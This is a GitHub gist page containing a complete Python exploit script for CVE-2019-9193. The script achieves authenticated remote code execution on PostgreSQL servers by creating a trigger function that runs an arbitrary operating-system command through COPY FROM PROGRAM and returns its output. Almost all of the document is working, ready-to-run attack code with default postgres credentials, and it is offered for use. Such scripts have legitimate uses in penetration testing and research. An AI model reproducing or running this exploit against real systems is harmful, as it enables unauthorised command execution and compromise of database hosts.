Skip to content

Instantly share code, notes, and snippets.

@opabravo
Created February 27, 2024 15:37
Show Gist options
  • Select an option

  • Save opabravo/8a53b95b50ef700fe54f3de9ad20019f to your computer and use it in GitHub Desktop.

Select an option

Save opabravo/8a53b95b50ef700fe54f3de9ad20019f to your computer and use it in GitHub Desktop.

Revisions

  1. opabravo created this gist Feb 27, 2024.
    110 changes: 110 additions & 0 deletions 51247.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,110 @@
    # Exploit fixed by: bravosec
    # - Added argument for database name
    # - Fix `function triggeroffsecexeccmd() does not exist` by adding check for function existence

    # Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
    # Date: 2023-02-01
    # Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
    # Github: https://github.com/paulotrindadec/CVE-2019-9193
    # Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
    # Tested on: Red Hat Enterprise Linux Server 7.9
    # CVE: CVE-2019–9193

    #!/usr/bin/python3

    import sys
    import psycopg2
    import argparse


    def parseArgs():
    parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')
    parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')
    parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')
    parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')
    parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')
    parser.add_argument('-d', '--dbname', nargs='?', default='postgres', help='Database name [Default: postgres]')
    parser.add_argument('-c', '--command', nargs='?', help='System command to run')
    args = parser.parse_args()
    return args

    def main():
    try:

    # Variables
    RHOST = args.ip
    RPORT = args.port
    USER = args.user
    PASS = args.password

    print(f"\r\n[+] Connect to PostgreSQL - {RHOST}")
    # Support SSL
    con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS, dbname=args.dbname)

    if (args.command):
    exploit(con)
    else:
    print ("[!] Add argument -c [COMMAND] to execute system commands")

    except psycopg2.OperationalError as e:
    print("Error")
    print ("\r\n[-] Failed to connect with PostgreSQL")
    exit()

    def exploit(con):
    cur = con.cursor()

    CMD = args.command

    try:
    print('[*] Running\n')
    cur.execute("DROP TABLE IF EXISTS triggeroffsec;")
    cur.execute("DROP FUNCTION IF EXISTS triggeroffsecexeccmd() cascade;")
    cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")
    cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")

    cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")

    cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()
    RETURNS TRIGGER
    LANGUAGE plpgsql
    AS $BODY$
    BEGIN
    COPY triggeroffsec (cmdout) FROM PROGRAM %s;
    RETURN NULL;
    END;
    $BODY$;
    """,[CMD,]
    )

    cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")

    cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd
    AFTER INSERT
    ON triggeroffsecsource
    FOR EACH STATEMENT
    EXECUTE PROCEDURE triggeroffsecexeccmd();
    """)

    cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")

    cur.execute("TABLE triggeroffsec;")

    con.commit()

    returncmd = cur.fetchall()
    for result in returncmd:
    print(result)

    except (Exception, psycopg2.DatabaseError) as error:
    print(error)


    finally:
    if con is not None:
    con.close()
    #print("Closed connection")

    if __name__ == "__main__":
    args = parseArgs()
    main()